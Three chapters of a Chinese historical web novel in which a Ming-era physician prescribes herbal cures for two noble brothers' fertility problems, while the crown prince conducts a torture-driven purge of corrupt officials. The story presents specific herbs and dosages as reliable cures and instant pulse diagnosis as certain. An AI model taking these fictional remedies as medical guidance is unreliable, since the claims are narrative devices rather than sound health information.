“别急。”马淳安抚道,“那酒火毒伤了本源根基,并非先天如此。根源既是那过猛的‘蛇胆火酒’所伤,就有法可医。需先灭火,再培土养根。熄了那过旺的虚火,调养肾水,慢慢滋养,使根源恢复生机,假以时日,‘新柴’种子或可再生。”
傅让如同抓住了救命稻草,声音嘶哑:“国公爷!那要多久?要怎么调养?我一定照办!”
“急不得。”马淳走到桌边提笔,“我先开个方子,熄火固本。一日一剂,连用一月。忌口要严,辛辣燥热、生冷油腻一概禁绝。更要紧的是……”
他加重语气:“必须戒酒!一滴都不得再沾!否则药石罔效。调养期间,也务必清心寡欲,少思少虑,尤其那个……房事,必须禁绝!养精方能蓄锐。”
“戒!一定戒!酒绝对不碰了!”傅让头点得如小鸡啄米,脸红一阵白一阵。
傅忠看着弟弟失魂落魄的样子,想笑又不敢笑,拍拍他肩膀:“听见没!戒色!得憋住喽!为了儿子,给我忍!”
傅让此时哪还有心思跟他斗嘴,只眼巴巴等着马淳开方。
马淳笔下如飞,写好药方交给傅让:“按方抓药,按我说的去做。一月后复诊,我再把脉看看恢复如何,调整方子。要有耐心。”
“是是是!多谢国公爷!”傅让如获至宝,紧紧攥着药方。
心中大石稍微落下,傅让精神也好了些。
他喝了口茶,好奇道:“对了国公爷,你怎么一搭脉,又没看那酒,就能知道是我吃了什么不对付?”
马淳端起茶碗:“人之精血,自有讯息藏于脉理。源头枯竭,脉象便如深谷溪流,看似平静,底部却已干涸龟裂,失去了生机勃勃的‘泉涌’之象。
“加上你哥说的饮了烈酒那事,症候便全对上了。”
“原来如此……”傅让似懂非懂,心中对马淳的医术更是佩服得五体投地。
傅忠眼珠一转,脸上露出他惯有的那种看热闹不嫌事大的笑容,一把勾住马淳的肩膀,语气贼兮兮的:“嘿,老马,我这心大的弟弟是没事了!你这手段神乎其技!看得我佩服!佩服!”
他话锋一转,带着点坏笑:“那……既然来了,你也顺便给咱把把脉?看看我这身子骨……啊,那个,‘源头火势’是不是很旺盛?”
他挤眉弄眼:“咱都按你说的,戒……戒那个啥几个月了!应该补足了吧?我媳妇都生了,我还想着多要几个。”
他凑近马淳耳边,“我可没瞎喝什么蛇胆酒!是不是我那小妾……”
马淳被他箍着肩膀,也没挣开,只是侧头看了他一眼,眼神平静无波。
他伸出两根手指,随意地搭在傅忠伸过来的手腕上。
就那么轻轻一搭,甚至谈不上是正经把脉。
傅忠还在兀自嘿嘿笑着。
马淳的手指却只停顿了极其短暂的片刻,就收了回去。
然后,他说了一句让傅忠笑容瞬间凝固在脸上的话。“省点力气折腾你那些小妾吧。”
马淳的语调平淡无奇,像是在陈述一件最稀松平常的事。
“问题不在你那‘源头’,你那源头……劲儿还猛着呢。得问问你家里正经的那位,她那块‘地’……今年翻过土,疏通过吗?”傅忠脸上那副等着看自家弟弟笑话的得意神情,瞬间僵住。
眼珠子瞪圆了。
嘴巴张着,还保持着那个要笑不笑的弧度。
整个人仿佛被按了暂停键……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第252章 虚不受补!情欲可是一把火啊……
傅忠脸上的笑容彻底僵住,活像挨了一记闷棍。
他眨巴两下眼,有点懵。
“啥……啥意思?”傅忠的声音有点劈叉,手下意识松开了马淳的肩头,“我小妾?地?国公爷你说清楚点!”
他完全没明白马淳指的什么。
他媳妇才生完娃没多久,他精力都放在新纳的美娇娘身上,难道……
马淳拿起茶杯,慢悠悠喝了口。
“你肾火是旺,”马淳放下茶杯,说得直白,“旺过头了。就像灶膛里塞满了柴火,烧得又红又亮。”
傅忠一听,咧嘴刚要得意:“那当然!咱这身子骨……”
“但那是虚火。”马淳打断他,眼神扫过他略显亢奋的脸,“看着猛,烧的都是你本就不厚的‘家底子’。我问你,是不是这阵子起夜次数明显多了?尤其后半夜?”
傅忠脸上得意的笑凝固了。
“啊……是有那么点……”他含糊其辞,眼神开始闪躲。
“是不是总觉得口干,喝水都不解渴?但小解完却又觉得……嗯,不太利索?”马淳问。
傅忠张了张嘴,没说出话,脸却慢慢涨红了。
这……国公爷连这都知道?
“是不是偶尔会觉得腰后面有点酸,特别是……嗯,劳累之后?”马淳声音不大,却像小锤子一下下敲在傅忠心上。
傅忠额角开始冒汗了。
他偷偷瞥了一眼旁边快把头埋进茶碗里的傅让。
傅让在边上已经笑得快压不住肩膀的颤抖了。
马淳掰着手指头:“肾火太旺,灼伤肾水。水干了,烧干锅底了知道吗?”
“水少了,控制不住那股虚火到处乱窜,所以你老起夜,口干。”
“虚火耗精,底子越来越薄,腰酸背软跑不了。”马淳看他一眼,下了结论:“你折腾得越勤,这根子越亏。看着猛,内里比掏空了还悬乎。再不收手,早晚把你那点元气烧成灰。”
傅忠脸上的血色唰一下褪得干干净净,比外面地上的雪还白。
他想起了上个月那回,折腾半宿最后差点下不来炕……
“国公爷!那……那我这,比小让还严重?”傅忠的声音都带了哭腔,再也顾不上看弟弟笑话的心思了。
无精症听着吓人,起码没在烧锅底啊!
他这眼看锅都要炸了!
“你说呢?”马淳反问,“傅让是无柴可烧。你呢?是底下柴都快烧光了,还在拼命往灶里倒油!”
傅忠腿一软,差点给马淳跪下:“救救我啊国公爷!”
“咋办?国公爷你直说!我全听你的!”傅忠恨不得立刻指天发誓。
马淳提笔蘸墨:“治你这个,得先撤火,再添水。”
他边说边写药方:“黄连泄心火,黄柏清肾火,这两味主药给你把那股燎原大火压下去。”
“生地、熟地,滋阴补肾,给你添水,滋养烧干的根子。”
“芡实、金樱子,固精缩尿,省得你那点底子哗啦啦往外流。”
“再加一味怀牛膝,引药下行,直达本源。”
马淳写罢,将药方递给傅忠:“按方抓药,每日一剂,文火慢熬。”
傅忠像捧着圣旨。
“国公爷!我这回去立刻就熬!”他急切地问,“多久……多久能好?那个……我多久能……能再用?”
马淳眼都没抬:“戒!三个月内,你和你那几位美娇娘,保持距离。”
“啥?!三个月?!”傅忠差点跳起来,哭丧着脸,“国公爷,这太……”
“你想彻底烧干锅底,当我没说。”马淳语气淡淡。
傅忠瞬间蔫了,捧着药方的手都在抖:“三个月……就三个月……”
他想到自家小妾年轻娇媚的脸蛋,心如刀绞。
再看看手里的药方,又觉得命更重要。
“那……那我回去也吃素?戒酒?”傅忠想起弟弟的遭遇,心有余悸。
马淳点点头:“酒肉皆可小酌,但务必清淡。切记,最要紧的是静养肾气,清心寡欲。再折腾,药石罔效。”
他加重最后四个字。
傅忠浑身一凛,赶紧挺直腰板:“明白!绝对清心寡欲!”
旁边一直装鸵鸟的傅让,看到平日里在自家后宅横着走的兄长这副如丧考妣的模样,嘴角忍不住往上抽了抽,赶紧端起茶碗挡住脸。
傅忠沉浸在悲催的三个月禁欲期里,哀嚎:“我那两坛子虎骨酒啊……”
马淳抬眼:“虎骨?”
“对!大补的!前些天刚得的好东西,用整条虎鞭泡的!泡了三根呢!”傅忠一提这个,又来了点精神,“想着晚上……嘶!”
他突然倒抽一口冷气,猛地看向马淳:“国公爷!我现在这……还能喝吗?”
马淳面无表情,吐出俩字:“毒药。”
傅忠的脸瞬间垮了:“啊?”
“你那灶膛里的火都快把锅烧穿了,还往里倒三根虎鞭泡的烈酒?”马淳语气凉凉,“嫌命长?”
傅忠像被踩了尾巴的猫:“可……可那是大补……”
“你那叫补?”马淳嗤笑一声,“那是往火上泼油!浇上去‘轰’一声,人就没了。想喝,随便。”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!傅忠吓得连连摆手:“不喝了不喝了!回去就倒掉!倒进茅坑!”
傅让终于忍不住,噗嗤一声笑出来。
傅忠恼羞成怒:“笑什么笑!你这几个月不也……”
傅让立刻不笑了,脸上也是一片赧然。
马淳看着这兄弟俩,摇摇头。
他站起身,拿过傅让那份药方:“你的调养要紧,也得给你那‘地’松松土。弟妹那边……”
马淳提笔又在另一张纸上写了几味药:“调气血,温胞宫。小方子,煎服或泡脚皆可。夫妻一体,你身体好了,她也需养和。”
傅让感激涕零,双手接过:“谢国公爷!我一定看着她用!”
傅忠巴巴看着:“国公爷,那我媳妇……”
“她不用。”马淳说得很直接,“你回去先把自己这副药吃完。三个月后,再看。”
傅忠欲哭无泪。
弟弟是男女一起调理,自己连老婆都不用找?
感觉更惨了!
他垂头丧气地跟傅让起身告辞。
走到门口,傅让忽然停住,有点不好意思地回头:“国公爷,那个……我哥的虎骨酒……真那么可怕?倒掉怪可惜的……”
马淳正在收拾笔砚,闻言道:“好东西,但补错了地方就是要命。你更碰不得。”
傅让连忙点头:“明白明白!”
傅忠也挤回来,带着最后一丝希望,压低声音:“国公爷,我……我禁这三个月,能恢复到……到啥地步?”
马淳看着他期盼的眼神,言简意赅:“保命。”
俩字像冰雹砸在傅忠头上,他彻底蔫了,被傅让连拖带拽地弄走了。
医馆里恢复了安静。
小六从药柜后探出头,小声问:“师父,那傅大世子……真那么虚了?”
马淳瞥他一眼:“油尽灯枯的兆头。再掏,灯就灭了。”
小六缩缩脖子:“那虎鞭酒……”
“收起来。”马淳淡淡道,“找个密封的坛子,深埋地下。那东西药性太烈,日后治寒痹入骨或战场上救急吊命,许是味猛药。”
他走到窗边,看着傅家兄弟深一脚浅一脚消失在街角的风雪里。
傅忠那副又怕死又忍不住问“能到啥地步”的模样在他脑中闪过。
马淳摇摇头。“清心寡欲?”他低声自语,似笑非笑,“难。”
傅让使劲拽着自家兄长的胳膊,深一脚浅一脚地走着。
傅忠整个人像霜打的茄子,垮着肩膀,两条腿也跟灌了铅似的沉,一步三晃。
“完喽……”傅忠哀叹,声音拖得老长,“三个月哪……这日子可咋熬……你那嫂子还好,可小月儿才进门不久,水灵灵的……”
“闭嘴吧哥!”傅让脸上臊得慌,恨不得捂住傅忠的嘴,“满大街都是人!还嫌不够丢人现眼?”
“怕啥!”傅忠梗着脖子,但音量还是小了下去,“自家弟弟跟前诉诉苦也不行?你是不知道那滋味……”
“你当我乐意听?”傅让没好气地怼回去,“赶紧回府喝你的药去!别真把国公爷说的那个‘底子’烧穿了!”
他想起马淳“保命”那两个字,心里也是一惊。
傅忠不吭声了,只是眼神更哀怨了。
路过一家门口挂着崭新虎头招牌的酒坊时,他脚步一顿,死死盯着那油光发亮的虎头招牌,眼珠子都红了,像是见到了生死仇敌。
“我的三根鞭哪……”傅忠喉头咕哝一声,带着十二分的不舍和肉痛。
傅让翻个白眼,用力把他拽离了那片“诱惑”之地。
医馆内。
小六凑到马淳身边,手里还拿着一根刚从药柜里拿出来的小参:“师父,傅大世子他那药……真得那么猛?黄连、黄柏,那得多苦啊?”
“清火就得用重剂,”马淳头也不抬,继续整理着案几上的脉枕,“虚火不泄,补进去也是白烧。他的身子骨,看着壮实,底子早被他自己掏空了。”
小六咂舌:“掏空了?那他还能……”
“能蹦跶?”马淳直起身,嘴角噙着一丝说不清是讽还是叹的笑意,“油桶炸之前,响声也挺大。”
小六想象了一下那场景,打了个寒颤。
他放下小参,好奇地问:“那二公子的药温些?”
马淳点点头:“他那个叫损,没烧干,只是伤了源头。用菟丝子、枸杞温养,慢慢引泉,不能急。”
小六似懂非懂地“哦”了一声,又想起什么:“师父,那傅大世子媳妇真的不用管?”
“他媳妇刚生完,自身气血在恢复,”马淳解释道,“他这副猛药清掉虚火后,自己真能固守精元三个月,那才是对他媳妇好。”
小六恍然大悟,嘿嘿笑了两声:“那傅大世子可得管住才行。”
马淳没再接话,看着窗外又渐渐密起来的雪片。
“管住?”他低语,带着一种见惯了世事的老练,“情比药苦。看他自个儿造化了。”
另一边,颍国公府书房。
傅友德刚翻过一页舆图,管家就躬身进来,低声禀报了兄弟二人回来的消息。
这章没有结束,请点击下一页继续阅读!傅让回了自己院子,傅忠则抱着几张药方,一脸如丧考妣地钻进了小月儿的院子。
傅友德听完管家低声复述的过程,捏着胡须的手指顿住。
“伤得太过了?”他眉峰微微锁起。
管家点头:“国公爷诊出大少爷是‘虚火旺而精血虚’,说再下去恐有油尽灯枯之险。给开了……相当苦寒的清火药。”
傅友德沉默片刻,放下了手中的图册。
“伤得太过了……”他又重复了一遍,这次语气更深沉了些,“叫那小子给我老实呆在屋里喝药!再敢往那几个女人屋里钻,打断他的腿!”
“是,老爷。”管家应声,顿了顿,又道,“二少爷那边,国公爷也开了方子,是温养的。”
傅友德“嗯”了一声,挥挥手。
管家退下后,书房里安静下来,只有炭火偶尔发出的噼啪轻响。
他靠回椅背,目光落在跳动的火焰上。
傅忠那份猛药是为了保命,是为了将来还能成为傅家支撑下去的柴火。
傅让的药是为了生息。
一文一武。傅友德疲惫地闭上眼。
保命,生息……这些个儿子,都不省心。
窗外风雪更紧了。
夜色渐浓,医馆里点起了灯。
忙碌了一天的药味似乎更浓了。
马淳靠在椅背上,闭目养神。
角落里,整理药材的小六一个趔趄,撞倒了靠着墙角的一捆干杜仲枝。
轻微的碰撞声在安静的医馆里显得格外清晰。
马淳没睁眼,只是嘴角似乎向上牵了牵。
是火太旺?
还是柴火垛本就堆得太高太虚?
谁知道呢。
……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第253章 这个朱标!心狠手辣!执行力强!
雪还在下。
马淳医馆里点着油灯,光线昏黄温暖。
小六把捣好的药材小心筛进陶罐,一股辛涩又带着回甘的气味弥漫开来。
“师父,杜仲炭收好了。”小六把罐子盖紧。
马淳点点头,没抬头。
他正借着灯光,用细毫笔在脉案上记录今天傅家两兄弟的脉象和药方。
字迹干净利落,一目了然。
不远处的刑部大牢深处,空气浑浊沉重,混合着铁锈、血腥和绝望的气味。
一根烧红的铁钎贴近皮肉,发出“嗤——”的响声,盖住了压抑的呜咽。
一个脸上沾着血污和汗水的锦衣卫喘着粗气,盯着面前瘫软如泥的犯人。
“说!户部那笔银子,经了几道手?最后进了谁的腰包!谁指使你在赈灾粮里掺沙子?你替谁在江南圈的地?!”
犯人喉咙里滚出不成调的嘶鸣,眼神涣散。
“泼醒!”冰冷的声音响起,是来自阴影里的蒋瓛。
一桶混着冰碴的冷水兜头浇下。
犯人剧烈地抽搐,发出濒死般的呛咳。
“画押吧。”旁边负责文书的小吏面无表情地递上染了血点的供状。
一个新的名字被用朱红的墨汁添在了那长长的名单后面。
紫禁城东宫,灯火通明如昼。
朱标坐在堆积如山的案牍后面。
卷宗、履历、各地奏报几乎将他淹没。
他的脸色在灯光下透着灰白,眼窝深陷下去,布满了蛛网般的血丝。
只有挺直的脊梁骨,还撑着一股硬气。
“叫下一个进来。”他的声音沙哑,透着挥之不去的疲惫。
门外的小太监赶紧躬身出去。
片刻后,一个穿着崭新补服的年轻官员紧张地走了进来,垂手肃立:“臣王守勤,参见太子殿下。”
朱标眼皮也没抬,手指点着面前一份履历:“你治下的县,去年秋赋征收不足七成。你说是县里大户抗税。说说,怎么个抗法?你都用了什么手段?”
王守勤额头见汗,背好的说辞在太子平静无波的目光下,显得有些苍白无力。
朱标打断他解释性的话语,只一句:“我要办法,不是理由。”
他快速批阅着另一份文书,笔尖划过纸张的声音清晰又密集。
整个后堂只剩下纸张摩擦声、笔尖书写声,以及王守勤紧张吞咽口水的声音。
侍立在旁的老太监微微摇头,眼神里透着疼惜。
他知道,殿下这样近乎自虐地忙碌,已经持续了多少个日夜。
夜深了,风雪呼啸着。
街道上几乎看不到人影,只有巡夜打更的梆子声远远传来,沉闷又孤寂。
一辆不起眼的青蓬马车碾过积雪未化的路面,发出咯吱咯吱的声响,停在马淳医馆的后门外。
车门推开,一个裹着厚重黑色斗篷的身影利落地跳下车。
斗篷宽大的风帽几乎遮住了大半张脸,但腰背挺直的仪态,透着一股与寻常访客不同的尊贵与疲惫。
跟在身后的只有一个老仆,提着一个半旧的风灯,警惕地环顾四周寂静的雪地。
老仆上前,按照约定的暗号,在门板上轻轻叩了三短一长。
门内很快响起脚步声,接着是门栓拉动的声音。
“吱呀——”小门开了。
小六探出头,看到斗篷下那张熟悉的、苍白而透着极度倦意的脸,瞳孔猛地一缩,赶紧无声地侧身让开。
朱标点点头,没说话,大步踏入门内。冷风卷着几点雪沫随他涌入。
老仆立刻反手轻轻关上后门,隔绝了外面的风雪与寒意。
医馆内堂,马淳正将刚配好的药粉分包入纸囊。桌上灯盏明亮,映着他平静专注的脸。
听到脚步声,他放下手中药匙,抬眼。
朱标已解开斗篷搭在一旁,露出里面常穿的便服。
灯光下,他眉宇间积压的倦怠和紧绷更加明显,嘴唇甚至有些干燥起皮。
马淳的目光迅速扫过他按在后腰的手指,极其轻微地顿了一下。
然后他拉开桌案旁的椅子。
“坐。”
没有多余的寒暄和询问。
马淳将分好的药粉推到一边,指了指桌案。
朱标依言坐下,动作似乎都有些僵硬。
马淳起身,绕过桌子,走到他身侧。
取过温在炉边铜盆里的热手巾,递给朱标。
“手凉,先暖暖。”
“多谢舅父!”朱标接过手巾,温热的感觉让他冰冷的手指轻轻蜷缩了一下。
他没有擦脸,只是将那点有限的热量捂在了有些僵冷的指节上。
他的目光落在马淳刚打包好的药粉上,又转开,似乎想说什么,但最终只是沉默地看着自己放在桌面上的手掌。
马淳没有问“殿下何以至此?”,也没问“前朝审讯如何?”。
他只是重新坐下,顺手拿起朱标放在桌上的左手腕。
三根干燥温润的手指轻轻搭了上去。
医馆里很安静。
只有灯芯燃烧的细微噼啪声,炭盆里红碳发出的微弱暖响,还有屋外呼啸而过的风声。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!空气里漂浮着药材混合的气息,安稳、沉静,仿佛与外面那个腥风血雨、日夜不息的世界完全隔开了。
朱标缓缓闭上眼睛,难得的能休息一下。
时间一分一秒过去。
马淳诊得极快。
三息之后,他收回手。
他没有说什么“劳累过度”“心血虚耗”的医学术语。
直接从桌下抽屉里拿出一个青瓷小圆盒,拧开盖子。
里面是深褐色泛着油光的药膏,一股浓厚却不刺激的药味弥散开来。
“晚上睡前,热水泡脚一刻。”马淳的声音不高,语气平直,如同医嘱,“取一丸药膏,加热化开,敷后腰酸痛处。用布裹好,次日揭掉。”
他把小圆盒推向朱标。
朱标睁开眼,目光落在药盒上,又看向马淳。眼底带着一丝疑惑,但没追问为什么。
“另外,”马淳站起身,走到药柜前,熟练地拉开几个抽屉,取出几样东西,又拿起刚才分包好的药粉中的其中一小包。
“合欢花三钱,柏子仁五钱。用这些冲开水。”他把一小包药粉和另一包配好的花草一起放在朱标面前,又用手指点了点分量最大的那包,“温水送服,早晚各一次。此药味重,需趁热速饮。”
他指着那包分量稍轻的药粉:“睡前一盏。温服。”
朱标的视线随着马淳的动作移动,仔细地看,认真地听。
脸上的疲惫似乎因为这份专注而显得少了几分灰败,多了一点点精神气。
他不问药效。
马淳也不说。
马淳最后从柜子里拿出一个小陶罐,放在桌上。
“蜜糖。药苦,可调一些。”他补充道。
朱标看着面前分门别类放好的药包、药膏和小蜜罐,终于开口,声音低沉沙哑:“多谢舅父。”
四个字,像是费了些力气。
马淳点点头,重新坐下,拿起之前没完成的脉案册子,提笔,继续写。
灯光下,他的侧影专注而稳定,仿佛刚才什么也没发生。
朱标看着马淳低头书写的样子,片刻后,眼神微微挪开。
他默默将面前的药包一一收拢到手中,动作不快,却条理清晰。
最后拿起药膏罐和小蜜罐。
他没有立刻起身告辞。
似乎这片刻的安静和鼻端缭绕的安稳药香,也是一种难得的抚慰。
他贪恋着这小小的医馆里,不被打扰、无需解释、只专注于当下“疗疾”本身的状态。
紧绷如弓弦的神经,在这里得以微微松弛一线。
屋外的风依然在号叫。
但屋内,只有笔尖沙沙扫过纸面的声音,炭火偶尔的噼啪,和他自己略微沉缓下来的呼吸。
寅时刚过。
东宫的灯火一夜未熄。
朱标已经坐在了刑部专门辟出的“诏狱审录堂”上首。
这里没有外面大殿的宏阔,只有压抑的窄深和高耸的顶梁。
夜审还在继续。
一个穿着囚衣、头发凌乱的官员被拖了进来。
他身上的官袍早已不见,只剩下一身破旧的囚服。
脸上污秽,眼神浑浊,带着绝望的麻木。
蒋瓛将一个染血的卷宗放到朱标手边。
朱标翻也没翻,目光直接落在堂下跪着的人身上。
声音比外面的寒夜更冷:“李德贤,应天府通判,分管漕运、河道。”
他没有疑问句,只是陈述。
跪着的李德贤身体抖了一下。
“洪武十五年九月,苏州上解织造贡银,总数八万四千两。账册记载,全数入库。”朱标的平铺直叙,“实际点库,只有七万两。银库大使周成是你的内表弟。”
朱标盯着李德贤:“银库是你管的。周成是你的人。账是你最后签批的。”
他顿了顿:“那一万四千两银子,去了哪里?”
李德贤嘴唇哆嗦着,眼神闪躲:“下官……下官不知……那是户部……户部清点后的……”
朱标的目光纹丝不动,像是钉在他身上。
“户部清点银库后,需漕运清吏司通判签字确认实物入库。”
他拿起那本卷宗,丢到堂下:“这是你签字的入库核销文书副本。上面是你的手印。”
“那银子,”朱标的语气没有丝毫波澜,却带着千钧之力,“不是周成监守自盗,就是你李通判挪作他用。或者,你俩合谋。”
李德贤猛地抬头,眼底的恐慌几乎要溢出来:“殿下!下官不敢……”
“不敢?”朱标打断他,“那你说说,你同科进士张裕文,如今是户部山西司主事。他山西老家去年新起的五进大宅,占地二十亩,所用的上好木料子,哪里来的钱?”
李德贤的呼吸瞬间停止了。
冷汗大颗大颗地滚落,砸在冰冷的地砖上。
朱标身体微微前倾:“你以为,你们把线头都藏在漕运转运的损耗里,就能瞒天过海?每个环节都有人负责,都留下点证据,互相牵制着,就觉得铁板一块?”
他摇了摇头:“蠢。户部转运,漕运提库,河道维护,三处的人串联在一起,从耗银、工食银里拆借,补窟窿,挪新钱填旧账。像滚雪球,滚到今年春天,那窟窿滚成了吞人的旋涡。”
本小章还未完,请点击下一页继续阅读后面精彩内容!李德贤瘫软在地。
他所有侥幸的心理防线,在太子殿下清晰、精准、毫无遗漏的点拨下,彻底崩溃。
蒋瓛看了一眼太子。
朱标微微颔首。
蒋瓛走上前:“押下去。让他把牵扯到的户部、漕运、河道同犯名字、挪银路径、时间、数额,都写出来。少一笔,带上来接着审。”
两名锦衣卫像拖死狗一样把烂泥般的李德贤拖了出去。
惨嚎声在门外戛然而止。
天色蒙蒙亮。
雪又下大了些。
朱标没来得及吃口东西,已经坐在了东宫偏殿的暖阁里。
一夜未合眼,太阳穴突突地跳。
长桌上堆满了各地推荐的官员名单和履历。
东宫属官在他身边,低声飞快地报着名字和基本状况。
“……这个叫郑长兴,举人出身,吏部考评是‘才具平庸,性喜钻营’。但他是翰林学士周淮的妻侄。”属官指着一份履历。
朱标面无表情地抽走这份履历,丢到旁边的空置篓子里。
篓子已经快满了。
“下一个。”
“……海州教谕吴思源,洪武九年进士,一直在京外做学官。考绩是‘敦厚勤勉’,几次考评都无劣迹。没有攀附的实迹。”属官递上另一份。
朱标仔细翻看履历,目光落在“敦厚勤勉”四个字上停了数息,又看了看其主政地方文教时的几件具体事务记录。
他拿起朱笔,在这份履历上点了一下。
属官立刻会意:“是,殿下。此人可擢升吏部考功司员外郎,补缺?”
“不。”朱标摇头,“去工部都水司,做郎中。工部现在最需要踏实做事,能核算清楚每一笔河工银的人。考功司那边,把大理寺正刘文简调过去。”
“是!”属官立刻在另一份文书上标注。
又一份名单递上来:“通政使司左参议严升病故,空缺。礼部推荐了侍读学士陈博……”
朱标直接抬手截住了话头:“此人不行。去年万寿节陈设,他一力撺掇选用南越檀香木,耗银巨万,远超规制。用度如此无度,不堪其位。”
他手指快速在几个名字上点了点:“这三个备选里,优先考虑通政司经历厅知事杨怀志。他在经历厅三年,经办文书无遗漏无拖延。”
“殿下,杨怀志只是八品知事,骤升通政左参议,是否……”属官有些犹豫。
“非常之时。”朱标声音带着不容置疑的力量,“他熟知通政司运作。让他管文书核校上传,我要的是一个不出错、不耽搁的通道。不必在乎资历。”
属官额角渗汗,立刻应下:“属下明白!”
朱标的目光掠过桌上堆积如山的卷宗:“吏部员外郎以下的职位补缺名单,最晚今天午时初刻要送到这里。让他们动作快些。”
“是!”
天亮后,阳光勉强穿透厚重的云层,朱标已经站在一道铁门前。
门里是单人死囚室。
里面关押的是这次“皇嗣案”攀咬出的江南士绅集团在六部的核心人物之一——原户部左侍郎赵志文。
曾是朝堂上颇有名望的清流。
如今,他像一个破布口袋瘫在冰冷的石床上,只有胸口轻微的起伏证明他还活着。满身是伤,有些地方已经化脓,散发着恶臭。
朱标看着,脸上没有任何情绪。
蒋瓛呈上一份厚厚的供状。
上面密密麻麻全是名字和对应的罪行摘要。
朱标快速翻阅。
供状翻过一页,赵志文的头垂得更低了。
“还有吗?”朱标声音冰冷生硬。
赵志文似乎用尽力气抬起头,肿得只剩一条缝的眼睛看向太子:“……没……没有了……殿下饶命……臣……臣是受了胁迫……”
朱标合上那份厚厚的供状,丢给蒋瓛:“把他提到的所有名字,在现有名单上核实一遍。遗漏的,立刻去办。”
“是!”
朱标最后看了一眼囚室里不成人形的赵志文:“让他也签押。签完,按律处置。”
他没有再多说一个字,转身走出了囚室。
朱标微微吸了口气,那冷冽让他略感清醒了些,随即又陷入更深的疲惫。
回到东宫暖阁。
桌案上,新的卷宗和履历又堆了上来。
案头那碗明显被热过好几次的参汤,一口未动,已经凝了一层薄薄的白霜。
朱标坐下,习惯性地伸手去按后腰。
指尖触到的,是袖袋里一个硬硬的、圆盒状的轮廓。
马淳的药膏。
他看着眼前又堆高的卷宗山,沉默了片刻。
最终,他收回按着后腰的手,再次拿起了朱笔。
冰凉的笔杆握在同样冰凉的手指间。
他翻开一份新的、更紧急的河道拨款奏报。
新一轮官员的履历册子也被同时打开。
油灯里,灯芯发出细微的爆裂声。
映照着他布满血丝、却毫无动摇的眼眸。
审讯,核准,抓捕。
查阅,遴选,擢升。
循环往复。
这架庞大而伤痕累累的帝国机器,正在他冰冷而决绝的手势下,被强行剜去腐肉,更换零件,艰难地恢复着运转的力量。
每一滴流出的污血背后,都需注入新的、带着不确定因子的活力。
雪还在下。
掩盖了车轮声、铁链声、以及新补上官位的官员匆匆赶往衙门的脚步声。
也似乎,试图掩盖掉这座巨大帝国都城下方,那汹涌流动的、由鲜血与权欲构筑的暗河……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第254章 陛下又请去喝茶!不是好兆头……
乾清宫。
殿内炭盆暗红,光却有些冷硬。
朱元璋坐在御案后,手边摊着几本摊开的奏报,没批阅。
他脸上没什么表情,眼底沉着审视的光。
阶下,蒋瓛腰背挺得像刀。
“说。”朱元璋的声音不高,也没起伏。
蒋瓛头垂得更低,声音平稳清晰,每个字都咬得硬:“昨夜寅时初刻,雪中路。”
“单人青车,仅一老仆提灯。穿城西街,直抵医馆后巷。”
“叩门暗号三短一长,应门者为马淳药僮小六。”
“殿下入内,约两刻。”
“出时面色……倦色稍缓,手捧药包数件。”
“返程直回东宫,沿途未见停留。”
“进殿后,未休歇,即刻提审应天府通判李德贤及后续五人。”
“今晨寅正三刻,入诏狱深处,提审原户部左侍郎赵志文。”
“现仍在东宫暖阁,批阅补缺官员卷宗。”
蒋瓛顿住,等着。
殿内一片死寂。
朱元璋的手指在紫檀椅扶手上,无意识地敲了一下。
很轻,很脆。
他没看蒋瓛,目光落在御案前方虚空一点。
“两刻钟……马淳开了什么药?”朱元璋的声音,听不出是问还是自语。
“臣未近前查探。”蒋瓛答得很快。“只遥见殿下手中捧有:青瓷小药罐一、牛皮纸药包大小三件、小陶蜜罐一。”
“老仆先行归去,药具皆由殿下自持。”
“嗯。”朱元璋的眼睛眯了一下。“他进去……马淳诊脉了?”
“据外围眼线回报,”蒋瓛说得更精确,“殿下进门后,立刻坐于案前。”
“马国公上前探脉,时间极短,不及半盏茶。”
“随后递上温热巾帕。”
“之后包药递出,未闻他语。”
朱元璋手指又在扶手上敲了一记。
短促,有力。
这次他抬眼,视线落在蒋瓛头顶。
“那小子……没问一句前朝事?没提一句人犯?更没叨叨那些狗屁案子?”
蒋瓛头更低:“回陛下,确无。”
“眼线传话清晰:从头至尾,马国公只关乎汤药细目,对刑狱案犯乃至殿下辛劳……只字未提。”
殿内再次陷入沉默。
比刚才更沉。
唯有朱元璋指尖偶尔落在硬木上的轻响,笃,笃。
朱元璋的脸上,那沉如寒潭的神情,似乎松动了那么一丝。
不是笑。
更像绷紧的某种东西,悄然无声地化开了一点冷硬。
他向后靠进椅背深处。
坚硬的龙椅衬着他有些佝偻下来的身影,反倒显出一种奇异的柔和。
他闭上眼,片刻。
一声低沉的叹息传出。
很轻。
“好个马淳。”声音不高,带着一种近乎疲惫的释然。“这才像个样子……”
他慢慢睁开眼。
那个只递药包,不问来路的医者。
“外戚……”朱元璋舌尖吐出这两个字,舌尖似乎品味了一下分量。
“就该有外戚的本分!”
“治病,就是治病。”
“问那么多乌七八糟的干甚?”
“手伸那么长,嫌命不够硬?”他又低声嘟囔了一句,近乎自嘲。
“太子累成了马……他懂。”
他手指点了点蒋瓛的方向。
“知道了。守好你的差事。”
“臣遵旨!”蒋瓛叩首,动作干净利落。
他像一道无声的影子般退出了大殿,消失在殿外更深的回廊阴影里。
朱元璋独自坐在御案后。
案头堆叠的奏报,依旧是烦人的人名和罪名。
那股血腥气,好像还缠绕在鼻端。
他烦躁地挥了下手,像要驱赶无形的苍蝇。
目光却再次落到方才蒋瓛跪过的地方。
空空如也。
但眼前却仿佛闪过另一幅画面:昏黄药香的斗室中。
青年疲惫地将手腕放在脉枕上。
医者沉默搭脉,三指沉稳。
没有惊惶,没有探寻。
只有干燥药味弥漫。
递过的一方温热帕子。
包好的几个药包,一小罐蜜糖,外加一句“如何服用”的简短嘱咐。
一句多余的废话都没有,如同在田间地头,农夫递给口渴路人一碗凉水那样寻常而直接。
朱元璋嘴角,这次是真的向上牵动了一下。
很轻微的一个弧度。
“好……”这个字,似乎比刚才那声叹息更短更轻。
那不仅仅是“好”。
是“对了”。
是“本该如此”。
是一种长久悬心后,无须担忧的安宁感。
他不再看那些卷宗。
靠回椅背,这一刻,他似乎也在这紧绷血腥的帝王之位上,获得了极为短暂的、一次悄无声息的抚慰。
……
